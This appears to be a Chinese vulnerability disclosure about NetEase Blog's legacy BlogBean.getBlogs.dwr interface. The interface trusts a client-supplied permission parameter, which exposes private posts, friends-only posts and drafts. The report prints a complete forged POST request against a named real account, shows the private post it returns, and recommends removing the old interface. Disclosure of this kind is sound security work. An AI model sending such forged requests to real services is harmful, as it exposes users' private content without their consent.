簡要描述:該漏洞可造成用戶博客中加密日志(好友可見、私人可見)以及日志草稿泄露。
詳細(xì)說明:網(wǎng)易博客日志模塊的AJAX請求接口通過URL參數(shù)傳遞用戶等級(訪客、好友、博主),并且不會對該參數(shù)進(jìn)行判斷,通過偽造請求即刻得到原本只有好友可見或者博主私人可見的日志。而且任何情況下該接口都會返回以草稿保存的日志,僅通過前端判斷不予顯示。
漏洞證明:以博客小管(http://blog.163.com/blog_admin)為例。通過其首頁可得其的UID:721279。
向以下地址發(fā)起HTTP POST請求:
http://api.blog.163.com/dwr/call/plaincall/BlogBean.getBlogs.dwr
POST參數(shù):
callCount=1
scriptSessionId=${scriptSessionId}187
c0-scriptName=BlogBean
c0-methodName=getBlogs
c0-id=0
c0-param0:number=260
c0-param1:number=20
c0-param2:number=721279
c0-param3:boolean=false
c0-param4:number=10000
c0-param5:boolean=false
c0-param6:boolean=false
batchId=687303
其中param0和param1分別是數(shù)量和起始點(diǎn)(這里只獲取第260-280篇日志),param2是UID,param4是權(quán)限,10000代表博主(最高級)。
返回的是JSONP封裝的數(shù)據(jù),簡單解析后可以發(fā)現(xiàn)其中有一篇在日志列表中不會出現(xiàn)的標(biāo)題(title)為《貼出真實(shí),秀出精彩-博客自拍之星》的日志,它的地址是http://blog.163.com/blog_admin/blog/static/72127920072276191481,allowView:10000表示它是博主私人可見,content即為該日志的內(nèi)容。
修復(fù)方案:BlogBean.getBlogs.dwr是舊版博客里的AJAX接口,新版已經(jīng)升級為BlogBeanNew.getBlogs.dwr且沒有此漏洞。建議刪除舊版接口。